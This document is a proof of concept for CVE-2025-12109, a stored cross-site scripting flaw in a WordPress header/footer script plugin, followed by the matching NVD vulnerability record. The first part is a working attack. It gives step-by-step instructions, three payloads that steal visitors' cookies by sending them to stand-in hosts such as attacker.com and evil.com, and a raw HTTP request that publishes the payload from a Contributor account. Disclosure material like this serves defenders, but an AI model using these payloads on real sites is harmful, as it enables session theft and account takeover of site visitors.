CVE-2025-12109

<!-- PoC for CVE-2025-12109: WordPress Header Footer Script Adder Stored XSS --> <!-- This PoC demonstrates how an attacker with Contributor-level access can inject malicious JavaScript --> <!-- Step 1: As a Contributor, edit or create a post/page --> <!-- Step 2: Use the Header Footer Script Adder plugin's script insertion feature --> <!-- Step 3: Inject the following payload in any script field (header/body/footer): --> <script>alert('XSS - CVE-2025-12109');document.location='https://attacker.com/steal?cookie='+document.cookie;</script> <!-- Or use event handler-based payload: --> <img src=x onerror="fetch('https://attacker.com/log?c='+document.cookie)"> <!-- Step 4: Save and publish the post --> <!-- Step 5: When any user visits the page, the malicious script executes --> <!-- Example HTTP Request to inject payload: --> POST /wp-admin/post.php HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded Cookie: [Contributor cookies] post_title=Test+Page&content=[hfsa_placeholder]script=<img src=x onerror=fetch('https://evil.com/c='+btoa(document.cookie))>[/hfsa_placeholder]&action=publish

{"cve": {"id": "CVE-2025-12109", "sourceIdentifier": "[email protected]", "published": "2025-12-13T16:16:46.220", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Header Footer Script Adder – Insert Code in Header, Body & Footer plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the script adder present in posts in all versions up to, and including, 2.0.5 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3388587%40header-and-footer-script-adder&new=3388587%40header-and-footer-script-adder&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/cab034fd-4cf2-4253-bbcd-c8bb86325fa8?source=cve", "source": "[email protected]"}]}}